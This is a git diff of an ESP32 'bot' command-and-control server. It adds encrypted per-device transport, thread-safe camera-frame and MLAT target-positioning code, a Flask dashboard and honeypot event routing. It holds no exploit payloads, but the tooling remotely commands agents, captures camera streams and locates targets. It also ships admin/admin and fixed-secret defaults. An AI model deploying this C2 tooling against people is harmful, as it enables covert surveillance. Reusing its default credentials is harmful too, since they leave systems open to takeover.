# RX (ESP → C2) # RX (ESP → C2)
# ================================================== # ==================================================
def handle_incoming(self, sock, addr, raw_data: bytes): def handle_incoming(self, sock, addr, raw_data: bytes):
""" """
raw_data = BASE64( ChaCha20( Protobuf AgentMessage ) ) raw_data = device_id:BASE64( nonce[12] || ChaCha20-Poly1305( Protobuf ) || tag[16] )
""" """
# Removed verbose transport debug prints # 1) Parse device_id prefix
raw_str = raw_data
# 1) base64 decode if b":" not in raw_str:
try: Display.error(f"No device_id prefix in message from {addr}")
cipher = self.crypto.b64_decode(raw_data)
except Exception as e:
Display.error(f"Base64 decode failed from {addr}: {e}")
return return
# 2) chacha decrypt device_id_bytes, b64_payload = raw_str.split(b":", 1)
try: device_id = device_id_bytes.decode(errors="ignore").strip()
protobuf_bytes = self.crypto.decrypt(cipher)
except Exception as e: if not device_id:
Display.error(f"Decrypt failed from {addr}: {e}") Display.error(f"Empty device_id from {addr}")
return return
# 3) protobuf decode → AgentMessage # 2) Lookup crypto key for this device
crypto = self._get_crypto(device_id)
if crypto is None:
Display.error(f"Unknown device '{device_id}' from {addr} no key in keystore")
return
# 3) Base64 decode
try:
encrypted = crypto.b64_decode(b64_payload)
except Exception as e:
Display.error(f"Base64 decode failed from {device_id}@{addr}: {e}")
return
# 4) Decrypt + verify (AEAD)
try:
protobuf_bytes = crypto.decrypt(encrypted)
except Exception as e:
Display.error(f"Decrypt/auth failed from {device_id}@{addr}: {e}")
return
# 5) Protobuf decode → AgentMessage
try: try:
msg = AgentMessage.FromString(protobuf_bytes) msg = AgentMessage.FromString(protobuf_bytes)
except Exception as e: except Exception as e:
Display.error(f"Protobuf decode failed from {addr}: {e}") Display.error(f"Protobuf decode failed from {device_id}@{addr}: {e}")
return return
if not msg.device_id: if not msg.device_id:
Display.error("AgentMessage received without device_id") msg.device_id = device_id
return
self._dispatch(sock, addr, msg) self._dispatch(sock, addr, msg)
@ -100,7 +136,7 @@ class Transport:
cmd.device_id = device.id cmd.device_id = device.id
cmd.command_name = "system_info" cmd.command_name = "system_info"
cmd.request_id = f"auto-sysinfo-{device.id}" cmd.request_id = f"auto-sysinfo-{device.id}"
self.send_command(device.sock, cmd) self.send_command(device.sock, cmd, device.id)
except Exception as e: except Exception as e:
Display.error(f"Auto system_info failed for {device.id}: {e}") Display.error(f"Auto system_info failed for {device.id}: {e}")
@ -146,6 +182,9 @@ class Transport:
# Check if this is auto system_info response # Check if this is auto system_info response
if msg.request_id and msg.request_id.startswith("auto-sysinfo-"): if msg.request_id and msg.request_id.startswith("auto-sysinfo-"):
self._parse_system_info(device, payload_str) self._parse_system_info(device, payload_str)
elif msg.request_id and msg.request_id.startswith("hp-") and self.hp_commander:
# Route honeypot dashboard command responses
self.hp_commander.handle_response(msg.request_id, device.id, payload_str, msg.eof)
elif msg.request_id and self.cli: elif msg.request_id and self.cli:
self.cli.handle_command_response(msg.request_id, device.id, payload_str, msg.eof) self.cli.handle_command_response(msg.request_id, device.id, payload_str, msg.eof)
else: else:
@ -172,6 +211,9 @@ class Transport:
elif msg.type == AgentMsgType.AGENT_LOG: elif msg.type == AgentMsgType.AGENT_LOG:
Display.device_event(device.id, f"LOG: {payload_str}") Display.device_event(device.id, f"LOG: {payload_str}")
elif msg.type == AgentMsgType.AGENT_DATA: elif msg.type == AgentMsgType.AGENT_DATA:
# Route honeypot events to hp_store
if payload_str.startswith("HP|") and self.hp_store:
self.hp_store.parse_and_store(device.id, payload_str)
Display.device_event(device.id, f"DATA: {payload_str}") Display.device_event(device.id, f"DATA: {payload_str}")
else: else:
Display.device_event(device.id, f"UNKNOWN Message Type ({AgentMsgType.Name(msg.type)}): {payload_str}") Display.device_event(device.id, f"UNKNOWN Message Type ({AgentMsgType.Name(msg.type)}): {payload_str}")
@ -179,21 +221,26 @@ class Transport:
# ================================================== # ==================================================
# TX (C2 → ESP) # TX (C2 → ESP)
# ================================================== # ==================================================
def send_command(self, sock, cmd: Command): def send_command(self, sock, cmd: Command, device_id: str = None):
""" """
Command Protobuf ChaCha20 Base64 \\n Command Protobuf ChaCha20-Poly1305 Base64 \\n
""" """
target_id = device_id or cmd.device_id
crypto = self._get_crypto(target_id)
if crypto is None:
Display.error(f"Cannot send to '{target_id}' no key in keystore")
return
try: try:
proto = cmd.SerializeToString() proto = cmd.SerializeToString()
# Removed verbose transport debug prints
# Encrypt # Encrypt (AEAD)
cipher = self.crypto.encrypt(proto) encrypted = crypto.encrypt(proto)
# Base64 # Base64
b64 = self.crypto.b64_encode(cipher) b64 = crypto.b64_encode(encrypted)
sock.sendall(b64 + b"\n") sock.sendall(b64 + b"\n")
except Exception as e: except Exception as e:
Display.error(f"Failed to send command to {cmd.device_id}: {e}") Display.error(f"Failed to send command to {target_id}: {e}")

View File

@ -0,0 +1,21 @@
# Crypto
pycryptodome>=3.15.0
# Protocol Buffers
protobuf>=4.21.0
# Web Server
flask>=2.0.0
# Configuration
python-dotenv>=1.0.0
# TUI Interface
textual>=0.40.0
# Camera & Video
opencv-python>=4.8.0
numpy>=1.24.0
# MLAT (Multilateration)
scipy>=1.10.0

View File

Before

Width:  |  Height:  |  Size: 18 KiB

After

Width:  |  Height:  |  Size: 18 KiB

View File

@ -168,13 +168,15 @@ class UDPReceiver:
# IP to device_id mapping cache # IP to device_id mapping cache
self._ip_to_device: Dict[str, str] = {} self._ip_to_device: Dict[str, str] = {}
# Statistics # Statistics (protected by _stats_lock)
self._stats_lock = threading.Lock()
self.frames_received = 0 self.frames_received = 0
self.invalid_tokens = 0 self.invalid_tokens = 0
self.decode_errors = 0 self.decode_errors = 0
self.packets_received = 0 self.packets_received = 0
# Active cameras tracking: {device_id: {"last_frame": timestamp, "active": bool}} # Active cameras tracking (protected by _cameras_lock)
self._cameras_lock = threading.Lock()
self._active_cameras: Dict[str, dict] = {} self._active_cameras: Dict[str, dict] = {}
os.makedirs(self.image_dir, exist_ok=True) os.makedirs(self.image_dir, exist_ok=True)
@ -191,7 +193,8 @@ class UDPReceiver:
@property @property
def active_cameras(self) -> list: def active_cameras(self) -> list:
"""Returns list of active camera device IDs.""" """Returns list of active camera device IDs."""
return [cid for cid, info in self._active_cameras.items() if info.get("active", False)] with self._cameras_lock:
return [cid for cid, info in self._active_cameras.items() if info.get("active", False)]
def _get_device_id_from_ip(self, ip: str) -> Optional[str]: def _get_device_id_from_ip(self, ip: str) -> Optional[str]:
"""Look up device_id from IP address using device registry.""" """Look up device_id from IP address using device registry."""
@ -305,10 +308,12 @@ class UDPReceiver:
except OSError: except OSError:
break break
self.packets_received += 1 with self._stats_lock:
self.packets_received += 1
if not data.startswith(SECRET_TOKEN): if not data.startswith(SECRET_TOKEN):
self.invalid_tokens += 1 with self._stats_lock:
self.invalid_tokens += 1
continue continue
payload = data[len(SECRET_TOKEN):] payload = data[len(SECRET_TOKEN):]
@ -335,7 +340,8 @@ class UDPReceiver:
if frame is not None: if frame is not None:
self._process_frame(device_id, frame, addr) self._process_frame(device_id, frame, addr)
else: else:
self.decode_errors += 1 with self._stats_lock:
self.decode_errors += 1
else: else:
assembler.add_chunk(payload) assembler.add_chunk(payload)
@ -348,19 +354,22 @@ class UDPReceiver:
def _process_complete_frame(self, camera_id: str, frame_data: bytes, addr: tuple): def _process_complete_frame(self, camera_id: str, frame_data: bytes, addr: tuple):
frame = self._decode_frame(frame_data) frame = self._decode_frame(frame_data)
if frame is None: if frame is None:
self.decode_errors += 1 with self._stats_lock:
self.decode_errors += 1
return return
self._process_frame(camera_id, frame, addr) self._process_frame(camera_id, frame, addr)
def _process_frame(self, camera_id: str, frame: np.ndarray, addr: tuple): def _process_frame(self, camera_id: str, frame: np.ndarray, addr: tuple):
self.frames_received += 1 with self._stats_lock:
self.frames_received += 1
# Update camera tracking # Update camera tracking
self._active_cameras[camera_id] = { with self._cameras_lock:
"last_frame": time.time(), self._active_cameras[camera_id] = {
"active": True, "last_frame": time.time(),
"addr": addr "active": True,
} "addr": addr
}
# Save frame # Save frame
self._save_frame(camera_id, frame) self._save_frame(camera_id, frame)
@ -456,13 +465,15 @@ class UDPReceiver:
def get_stats(self) -> dict: def get_stats(self) -> dict:
recording_count = sum(1 for r in self._recorders.values() if r.is_recording) recording_count = sum(1 for r in self._recorders.values() if r.is_recording)
active_count = sum(1 for info in self._active_cameras.values() if info.get("active")) with self._cameras_lock:
return { active_count = sum(1 for info in self._active_cameras.values() if info.get("active"))
"running": self.is_running, with self._stats_lock:
"packets_received": self.packets_received, return {
"frames_received": self.frames_received, "running": self.is_running,
"invalid_tokens": self.invalid_tokens, "packets_received": self.packets_received,
"decode_errors": self.decode_errors, "frames_received": self.frames_received,
"active_cameras": active_count, "invalid_tokens": self.invalid_tokens,
"active_recordings": recording_count "decode_errors": self.decode_errors,
} "active_cameras": active_count,
"active_recordings": recording_count
}

View File

@ -20,6 +20,9 @@
<a href="/mlat" class="nav-link {% if active_page == 'mlat' %}active{% endif %}"> <a href="/mlat" class="nav-link {% if active_page == 'mlat' %}active{% endif %}">
MLAT MLAT
</a> </a>
<a href="/honeypot" class="nav-link {% if active_page == 'honeypot' %}active{% endif %}">
Honeypot
</a>
</nav> </nav>
<div class="header-right"> <div class="header-right">
<div class="status"> <div class="status">

View File

@ -93,20 +93,30 @@
return hours + 'h ' + mins + 'm'; return hours + 'h ' + mins + 'm';
} }
function escapeHtml(str) {
const div = document.createElement('div');
div.appendChild(document.createTextNode(str));
return div.innerHTML;
}
function createDeviceCard(device) { function createDeviceCard(device) {
const statusClass = device.status === 'Connected' ? 'badge-connected' : 'badge-inactive'; const statusClass = device.status === 'Connected' ? 'badge-connected' : 'badge-inactive';
const safeId = escapeHtml(String(device.id));
const safeStatus = escapeHtml(String(device.status));
const safeIp = escapeHtml(String(device.ip));
const safePort = escapeHtml(String(device.port));
return ` return `
<div class="card" data-device-id="${device.id}"> <div class="card" data-device-id="${safeId}">
<div class="card-header"> <div class="card-header">
<span class="name">${device.id}</span> <span class="name">${safeId}</span>
<span class="badge ${statusClass}">${device.status}</span> <span class="badge ${statusClass}">${safeStatus}</span>
</div> </div>
<div class="card-body"> <div class="card-body">
<div class="device-info"> <div class="device-info">
<div class="device-row"> <div class="device-row">
<span class="label">IP Address</span> <span class="label">IP Address</span>
<span class="value">${device.ip}:${device.port}</span> <span class="value">${safeIp}:${safePort}</span>
</div> </div>
<div class="device-row"> <div class="device-row">
<span class="label">Connected</span> <span class="label">Connected</span>

View File

@ -15,6 +15,7 @@
{% endif %} {% endif %}
<form method="post"> <form method="post">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
<div class="form-group"> <div class="form-group">
<label for="username">Username</label> <label for="username">Username</label>
<input type="text" id="username" name="username" required autofocus> <input type="text" id="username" name="username" required autofocus>

46
tools/C3PO/web/auth.py Normal file
View File

@ -0,0 +1,46 @@
"""Authentication decorators for Flask routes."""
import hmac
from functools import wraps
from flask import session, redirect, url_for, request, jsonify
def create_auth_decorators(get_multilat_token):
"""
Create auth decorators with access to server config.
Args:
get_multilat_token: Callable that returns the MLAT API token
Returns:
Tuple of (require_login, require_api_auth) decorators
"""
def require_login(f):
"""Decorator requiring user to be logged in via session."""
@wraps(f)
def decorated(*args, **kwargs):
if not session.get("logged_in"):
return redirect(url_for("pages.login"))
return f(*args, **kwargs)
return decorated
def require_api_auth(f):
"""Decorator requiring session login OR Bearer token."""
@wraps(f)
def decorated(*args, **kwargs):
# Session auth
if session.get("logged_in"):
return f(*args, **kwargs)
# Bearer token auth
auth_header = request.headers.get("Authorization", "")
if auth_header.startswith("Bearer "):
token = auth_header[7:]
if hmac.compare_digest(token, get_multilat_token()):
return f(*args, **kwargs)
return jsonify({"error": "Unauthorized"}), 401
return decorated
return require_login, require_api_auth

View File

@ -1,5 +1,6 @@
"""MLAT (Multilateration) engine for device positioning with GPS support.""" """MLAT (Multilateration) engine for device positioning with GPS support."""
import threading
import time import time
import re import re
import math import math
@ -36,6 +37,9 @@ class MlatEngine:
self.path_loss_n = path_loss_n self.path_loss_n = path_loss_n
self.smoothing_window = smoothing_window self.smoothing_window = smoothing_window
# Thread safety lock
self._lock = threading.Lock()
# Scanner data: {scanner_id: {"position": {"lat": x, "lon": y} or {"x": x, "y": y}, ...}} # Scanner data: {scanner_id: {"position": {"lat": x, "lon": y} or {"x": x, "y": y}, ...}}
self.scanners: dict = {} self.scanners: dict = {}
@ -180,23 +184,24 @@ class MlatEngine:
if timestamp is None: if timestamp is None:
timestamp = time.time() timestamp = time.time()
if scanner_id not in self.scanners: with self._lock:
self.scanners[scanner_id] = { if scanner_id not in self.scanners:
"position": {"lat": lat, "lon": lon}, self.scanners[scanner_id] = {
"rssi_history": [], "position": {"lat": lat, "lon": lon},
"last_seen": timestamp "rssi_history": [],
} "last_seen": timestamp
}
scanner = self.scanners[scanner_id] scanner = self.scanners[scanner_id]
scanner["position"] = {"lat": lat, "lon": lon} scanner["position"] = {"lat": lat, "lon": lon}
scanner["rssi_history"].append(rssi) scanner["rssi_history"].append(rssi)
scanner["last_seen"] = timestamp scanner["last_seen"] = timestamp
# Keep only recent readings for smoothing # Keep only recent readings for smoothing
if len(scanner["rssi_history"]) > self.smoothing_window: if len(scanner["rssi_history"]) > self.smoothing_window:
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:] scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
self._coord_mode = 'gps' self._coord_mode = 'gps'
def add_reading(self, scanner_id: str, x: float, y: float, rssi: int, timestamp: float = None): def add_reading(self, scanner_id: str, x: float, y: float, rssi: int, timestamp: float = None):
""" """
@ -212,22 +217,23 @@ class MlatEngine:
if timestamp is None: if timestamp is None:
timestamp = time.time() timestamp = time.time()
if scanner_id not in self.scanners: with self._lock:
self.scanners[scanner_id] = { if scanner_id not in self.scanners:
"position": {"x": x, "y": y}, self.scanners[scanner_id] = {
"rssi_history": [], "position": {"x": x, "y": y},
"last_seen": timestamp "rssi_history": [],
} "last_seen": timestamp
}
scanner = self.scanners[scanner_id] scanner = self.scanners[scanner_id]
scanner["position"] = {"x": x, "y": y} scanner["position"] = {"x": x, "y": y}
scanner["rssi_history"].append(rssi) scanner["rssi_history"].append(rssi)
scanner["last_seen"] = timestamp scanner["last_seen"] = timestamp
if len(scanner["rssi_history"]) > self.smoothing_window: if len(scanner["rssi_history"]) > self.smoothing_window:
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:] scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
self._coord_mode = 'local' self._coord_mode = 'local'
def rssi_to_distance(self, rssi: float) -> float: def rssi_to_distance(self, rssi: float) -> float:
""" """
@ -253,11 +259,17 @@ class MlatEngine:
Returns: Returns:
dict with position, confidence, and scanner info, or error dict with position, confidence, and scanner info, or error
""" """
# Get active scanners (those with readings) # Snapshot scanner data under lock
active_scanners = [ with self._lock:
(sid, s) for sid, s in self.scanners.items() active_scanners = [
if s["rssi_history"] (sid, {
] "position": dict(s["position"]),
"rssi_history": list(s["rssi_history"]),
"last_seen": s["last_seen"]
})
for sid, s in self.scanners.items()
if s["rssi_history"]
]
if len(active_scanners) < 3: if len(active_scanners) < 3:
return { return {
@ -342,7 +354,8 @@ class MlatEngine:
"y": round(float(target_y), 2) "y": round(float(target_y), 2)
} }
self._last_calculation = time.time() with self._lock:
self._last_calculation = time.time()
return { return {
"position": self._last_target, "position": self._last_target,
@ -366,7 +379,13 @@ class MlatEngine:
now = time.time() now = time.time()
scanners_data = [] scanners_data = []
for scanner_id, scanner in self.scanners.items(): with self._lock:
scanners_snapshot = dict(self.scanners)
last_target = self._last_target
last_calc = self._last_calculation
coord_mode = self._coord_mode
for scanner_id, scanner in scanners_snapshot.items():
avg_rssi = None avg_rssi = None
distance = None distance = None
@ -393,15 +412,15 @@ class MlatEngine:
"path_loss_n": self.path_loss_n, "path_loss_n": self.path_loss_n,
"smoothing_window": self.smoothing_window "smoothing_window": self.smoothing_window
}, },
"coord_mode": self._coord_mode "coord_mode": coord_mode
} }
# Add target if available # Add target if available
if self._last_target and (now - self._last_calculation) < 60: if last_target and (now - last_calc) < 60:
result["target"] = { result["target"] = {
"position": self._last_target, "position": last_target,
"calculated_at": self._last_calculation, "calculated_at": last_calc,
"age_seconds": round(now - self._last_calculation, 1) "age_seconds": round(now - last_calc, 1)
} }
return result return result
@ -424,6 +443,7 @@ class MlatEngine:
def clear(self): def clear(self):
"""Clear all scanner data and reset state.""" """Clear all scanner data and reset state."""
self.scanners.clear() with self._lock:
self._last_target = None self.scanners.clear()
self._last_calculation = 0 self._last_target = None
self._last_calculation = 0

View File

@ -0,0 +1,15 @@
"""Flask route blueprints for ESPILON C2 web server."""
from .pages import create_pages_blueprint
from .api_devices import create_devices_blueprint
from .api_cameras import create_cameras_blueprint
from .api_mlat import create_mlat_blueprint
from .api_stats import create_stats_blueprint
__all__ = [
"create_pages_blueprint",
"create_devices_blueprint",
"create_cameras_blueprint",
"create_mlat_blueprint",
"create_stats_blueprint",
]

View File

@ -0,0 +1,99 @@
"""Camera and Recording API routes."""
import os
from flask import Blueprint, jsonify, request
def create_cameras_blueprint(server_config):
"""
Create the cameras API blueprint.
Args:
server_config: Dict with keys:
- image_dir: Camera images directory
- c2_root: C2 root directory path
- get_camera_receiver: Callable returning camera receiver
- require_api_auth: Auth decorator
"""
bp = Blueprint("api_cameras", __name__, url_prefix="/api")
image_dir = server_config["image_dir"]
c2_root = server_config["c2_root"]
get_receiver = server_config["get_camera_receiver"]
require_api_auth = server_config["require_api_auth"]
# ========== Camera List ==========
@bp.route("/cameras")
@require_api_auth
def list_cameras():
full_image_dir = os.path.join(c2_root, image_dir)
try:
cameras = [
f.replace(".jpg", "")
for f in os.listdir(full_image_dir)
if f.endswith(".jpg")
]
except FileNotFoundError:
cameras = []
receiver = get_receiver()
result = {"cameras": [], "count": len(cameras)}
for cam_id in cameras:
cam_info = {"id": cam_id, "recording": False}
if receiver:
status = receiver.get_recording_status(cam_id)
cam_info["recording"] = status.get("recording", False)
cam_info["filename"] = status.get("filename")
result["cameras"].append(cam_info)
result["count"] = len(result["cameras"])
return jsonify(result)
# ========== Recording Control ==========
@bp.route("/recording/start/<camera_id>", methods=["POST"])
@require_api_auth
def start_recording(camera_id):
receiver = get_receiver()
if not receiver:
return jsonify({"error": "Camera receiver not available"}), 503
result = receiver.start_recording(camera_id)
if "error" in result:
return jsonify(result), 400
return jsonify(result)
@bp.route("/recording/stop/<camera_id>", methods=["POST"])
@require_api_auth
def stop_recording(camera_id):
receiver = get_receiver()
if not receiver:
return jsonify({"error": "Camera receiver not available"}), 503
result = receiver.stop_recording(camera_id)
if "error" in result:
return jsonify(result), 400
return jsonify(result)
@bp.route("/recording/status")
@require_api_auth
def recording_status():
receiver = get_receiver()
if not receiver:
return jsonify({"error": "Camera receiver not available"}), 503
camera_id = request.args.get("camera_id")
return jsonify(receiver.get_recording_status(camera_id))
@bp.route("/recordings")
@require_api_auth
def list_recordings():
receiver = get_receiver()
if not receiver:
return jsonify({"recordings": []})
return jsonify({"recordings": receiver.list_recordings()})
return bp

View File

@ -0,0 +1,48 @@
"""Device API routes."""
import time
from flask import Blueprint, jsonify
def create_devices_blueprint(server_config):
"""
Create the devices API blueprint.
Args:
server_config: Dict with keys:
- get_device_registry: Callable returning device registry
- require_api_auth: Auth decorator
"""
bp = Blueprint("api_devices", __name__, url_prefix="/api")
get_registry = server_config["get_device_registry"]
require_api_auth = server_config["require_api_auth"]
@bp.route("/devices")
@require_api_auth
def list_devices():
registry = get_registry()
if registry is None:
return jsonify({"error": "Device registry not available", "devices": []})
now = time.time()
devices = []
for d in registry.all():
devices.append({
"id": d.id,
"ip": d.address[0] if d.address else "unknown",
"port": d.address[1] if d.address else 0,
"status": d.status,
"connected_at": d.connected_at,
"last_seen": d.last_seen,
"connected_for_seconds": round(now - d.connected_at, 1),
"last_seen_ago_seconds": round(now - d.last_seen, 1)
})
return jsonify({
"devices": devices,
"count": len(devices)
})
return bp

View File

@ -0,0 +1,85 @@
"""MLAT (Multilateration) API routes."""
import time
from flask import Blueprint, jsonify, request
def create_mlat_blueprint(server_config):
"""
Create the MLAT API blueprint.
Args:
server_config: Dict with keys:
- get_mlat_engine: Callable returning MLAT engine
- require_api_auth: Auth decorator
"""
bp = Blueprint("api_mlat", __name__, url_prefix="/api/mlat")
get_engine = server_config["get_mlat_engine"]
require_api_auth = server_config["require_api_auth"]
@bp.route("/collect", methods=["POST"])
@require_api_auth
def collect():
"""Receive MLAT readings from scanners."""
engine = get_engine()
raw_data = request.get_data(as_text=True)
count = engine.parse_data(raw_data)
if count > 0:
engine.calculate_position()
return jsonify({
"status": "ok",
"readings_processed": count
})
@bp.route("/state")
@require_api_auth
def state():
"""Get current MLAT state (scanners + target position)."""
engine = get_engine()
state = engine.get_state()
# Auto-calculate if we have enough scanners but no target
if state["target"] is None and state["scanners_count"] >= 3:
result = engine.calculate_position()
if "position" in result:
state["target"] = {
"position": result["position"],
"confidence": result.get("confidence", 0),
"calculated_at": result.get("calculated_at", time.time()),
"age_seconds": 0
}
return jsonify(state)
@bp.route("/config", methods=["GET", "POST"])
@require_api_auth
def config():
"""Get or update MLAT configuration."""
engine = get_engine()
if request.method == "POST":
data = request.get_json() or {}
engine.update_config(
rssi_at_1m=data.get("rssi_at_1m"),
path_loss_n=data.get("path_loss_n"),
smoothing_window=data.get("smoothing_window")
)
return jsonify({
"rssi_at_1m": engine.rssi_at_1m,
"path_loss_n": engine.path_loss_n,
"smoothing_window": engine.smoothing_window
})
@bp.route("/clear", methods=["POST"])
@require_api_auth
def clear():
"""Clear all scanner data."""
engine = get_engine()
engine.clear()
return jsonify({"status": "ok"})
return bp

View File

@ -0,0 +1,59 @@
"""Stats API routes."""
import os
from flask import Blueprint, jsonify
def create_stats_blueprint(server_config):
"""
Create the stats API blueprint.
Args:
server_config: Dict with keys:
- image_dir: Camera images directory
- c2_root: C2 root directory path
- get_device_registry: Callable returning device registry
- get_mlat_engine: Callable returning MLAT engine
- require_api_auth: Auth decorator
"""
bp = Blueprint("api_stats", __name__, url_prefix="/api")
image_dir = server_config["image_dir"]
c2_root = server_config["c2_root"]
get_registry = server_config["get_device_registry"]
get_mlat = server_config["get_mlat_engine"]
require_api_auth = server_config["require_api_auth"]
@bp.route("/stats")
@require_api_auth
def stats():
"""Get server statistics."""
full_image_dir = os.path.join(c2_root, image_dir)
# Camera count
try:
camera_count = len([
f for f in os.listdir(full_image_dir)
if f.endswith(".jpg")
])
except FileNotFoundError:
camera_count = 0
# Device count
device_count = 0
registry = get_registry()
if registry:
device_count = len(list(registry.all()))
# MLAT state
mlat_engine = get_mlat()
mlat_state = mlat_engine.get_state()
return jsonify({
"active_cameras": camera_count,
"connected_devices": device_count,
"multilateration_scanners": mlat_state["scanners_count"],
"server_running": True
})
return bp

View File

@ -0,0 +1,96 @@
"""Page routes (login, dashboard, cameras, mlat)."""
import os
import secrets
from flask import Blueprint, render_template, redirect, url_for, request, session
def create_pages_blueprint(server_config):
"""
Create the pages blueprint.
Args:
server_config: Dict with keys:
- username: Login username
- password: Login password
- image_dir: Camera images directory
- c2_root: C2 root directory path
- require_login: Auth decorator
"""
bp = Blueprint("pages", __name__)
username = server_config["username"]
password = server_config["password"]
image_dir = server_config["image_dir"]
c2_root = server_config["c2_root"]
require_login = server_config["require_login"]
@bp.route("/login", methods=["GET", "POST"])
def login():
error = None
if request.method == "POST":
# CSRF validation
token = request.form.get("csrf_token", "")
if token != session.get("csrf_token", ""):
error = "Invalid request. Please try again."
else:
form_user = request.form.get("username")
form_pass = request.form.get("password")
if form_user == username and form_pass == password:
session["logged_in"] = True
return redirect(url_for("pages.dashboard"))
else:
error = "Invalid credentials."
# Generate CSRF token for the form
session["csrf_token"] = secrets.token_hex(32)
return render_template("login.html", error=error, csrf_token=session["csrf_token"])
@bp.route("/logout")
def logout():
session.pop("logged_in", None)
return redirect(url_for("pages.login"))
@bp.route("/")
@require_login
def index():
return redirect(url_for("pages.dashboard"))
@bp.route("/dashboard")
@require_login
def dashboard():
return render_template("dashboard.html", active_page="dashboard")
@bp.route("/cameras")
@require_login
def cameras():
full_image_dir = os.path.join(c2_root, image_dir)
try:
image_files = sorted([
f for f in os.listdir(full_image_dir)
if f.endswith(".jpg")
])
except FileNotFoundError:
image_files = []
return render_template("cameras.html", active_page="cameras", image_files=image_files)
@bp.route("/mlat")
@require_login
def mlat():
return render_template("mlat.html", active_page="mlat")
@bp.route("/streams/<filename>")
@require_login
def stream_image(filename):
from flask import send_from_directory
full_image_dir = os.path.join(c2_root, image_dir)
return send_from_directory(full_image_dir, filename)
@bp.route("/recordings/<filename>")
@require_login
def download_recording(filename):
from flask import send_from_directory
recordings_dir = os.path.join(c2_root, "static", "recordings")
return send_from_directory(recordings_dir, filename, as_attachment=True)
return bp

197
tools/C3PO/web/server.py Normal file
View File

@ -0,0 +1,197 @@
"""Unified Flask web server for ESPILON C2 dashboard."""
import os
import sys
import logging
import threading
from typing import Optional
from flask import Flask
from werkzeug.serving import make_server
from .mlat import MlatEngine
from .auth import create_auth_decorators
from .routes import (
create_pages_blueprint,
create_devices_blueprint,
create_cameras_blueprint,
create_mlat_blueprint,
create_stats_blueprint,
)
# Make hp_dashboard importable (lives in espilon-honey-pot/tools/)
_HP_TOOLS_DIR = os.environ.get("HP_DASHBOARD_PATH", os.path.normpath(os.path.join(
os.path.dirname(__file__), "..", "..", "..", "..", "espilon-honey-pot", "tools"
)))
if os.path.isdir(_HP_TOOLS_DIR) and _HP_TOOLS_DIR not in sys.path:
sys.path.insert(0, _HP_TOOLS_DIR)
# Disable Flask/Werkzeug request logging
logging.getLogger('werkzeug').setLevel(logging.ERROR)
class UnifiedWebServer:
"""
Unified Flask-based web server for ESPILON C2.
Provides:
- Dashboard: View connected ESP32 devices
- Cameras: View live camera streams with recording
- MLAT: Visualize multilateration positioning
"""
def __init__(self,
host: str = "0.0.0.0",
port: int = 8000,
image_dir: str = "static/streams",
username: str = "admin",
password: str = "admin",
secret_key: str = "change_this_for_prod",
multilat_token: str = "multilat_secret_token",
device_registry=None,
mlat_engine: Optional[MlatEngine] = None,
camera_receiver=None,
hp_store=None,
hp_commander=None,
hp_alerts=None,
hp_geo=None):
"""
Initialize the unified web server.
Args:
host: Host to bind the server
port: Port for the web server
image_dir: Directory containing camera frame images
username: Login username
password: Login password
secret_key: Flask session secret key
multilat_token: Bearer token for MLAT API
device_registry: DeviceRegistry instance for device listing
mlat_engine: MlatEngine instance (created if None)
camera_receiver: UDPReceiver instance for camera control
hp_store: HpStore instance for honeypot event storage
hp_commander: HpCommander instance for honeypot command dispatch
hp_alerts: HpAlertEngine instance for honeypot alert rules
hp_geo: HpGeoLookup instance for geo-IP enrichment
"""
self.host = host
self.port = port
self.image_dir = image_dir
self.username = username
self.password = password
self.secret_key = secret_key
self.multilat_token = multilat_token
self.device_registry = device_registry
self.mlat = mlat_engine or MlatEngine()
self.camera_receiver = camera_receiver
self.hp_store = hp_store
self.hp_commander = hp_commander
self.hp_alerts = hp_alerts
self.hp_geo = hp_geo
# C2 root directory
self.c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Ensure image directory exists
full_image_dir = os.path.join(self.c2_root, self.image_dir)
os.makedirs(full_image_dir, exist_ok=True)
self._app = self._create_app()
self._server = None
self._thread = None
def set_camera_receiver(self, receiver):
"""Set the camera receiver after initialization."""
self.camera_receiver = receiver
@property
def is_running(self) -> bool:
return self._thread is not None and self._thread.is_alive()
def _create_app(self) -> Flask:
"""Create and configure the Flask application."""
template_dir = os.path.join(self.c2_root, "templates")
static_dir = os.path.join(self.c2_root, "static")
app = Flask(__name__,
template_folder=template_dir,
static_folder=static_dir)
app.secret_key = self.secret_key
# Create auth decorators
require_login, require_api_auth = create_auth_decorators(
lambda: self.multilat_token
)
# Shared config for blueprints
base_config = {
"c2_root": self.c2_root,
"image_dir": self.image_dir,
"require_login": require_login,
"require_api_auth": require_api_auth,
}
# Register blueprints
app.register_blueprint(create_pages_blueprint({
**base_config,
"username": self.username,
"password": self.password,
}))
app.register_blueprint(create_devices_blueprint({
**base_config,
"get_device_registry": lambda: self.device_registry,
}))
app.register_blueprint(create_cameras_blueprint({
**base_config,
"get_camera_receiver": lambda: self.camera_receiver,
}))
app.register_blueprint(create_mlat_blueprint({
**base_config,
"get_mlat_engine": lambda: self.mlat,
}))
app.register_blueprint(create_stats_blueprint({
**base_config,
"get_device_registry": lambda: self.device_registry,
"get_mlat_engine": lambda: self.mlat,
}))
# Honeypot dashboard (optional — only if hp_store is provided)
if self.hp_store and self.hp_commander:
try:
from hp_dashboard import create_hp_blueprint
app.register_blueprint(create_hp_blueprint({
**base_config,
"hp_store": self.hp_store,
"hp_commander": self.hp_commander,
"hp_alerts": self.hp_alerts,
"hp_geo": self.hp_geo,
}))
except ImportError:
pass # hp_dashboard not available
return app
def start(self) -> bool:
"""Start the web server in a background thread."""
if self.is_running:
return False
self._server = make_server(self.host, self.port, self._app, threaded=True)
self._thread = threading.Thread(target=self._server.serve_forever, daemon=True)
self._thread.start()
return True
def stop(self):
"""Stop the web server."""
if self._server:
self._server.shutdown()
self._server = None
self._thread = None
def get_url(self) -> str:
"""Get the server URL."""
return f"http://{self.host}:{self.port}"

View File

@ -2,30 +2,33 @@
This directory contains tools for managing and deploying Epsilon ESP32 agents. This directory contains tools for managing and deploying Epsilon ESP32 agents.
## C2 Server (c2/) ## C2 Server (C3PO/)
The C2 (Command & Control) server manages communication with deployed ESP32 agents. The C2 (Command & Control) server manages communication with deployed ESP32 agents.
### C3PO - Main C2 Server ### C3PO - Main C2 Server
**c3po** is the primary C2 server used to control Epsilon bots. **C3PO** is the primary C2 server used to control Epsilon bots.
Features: Features:
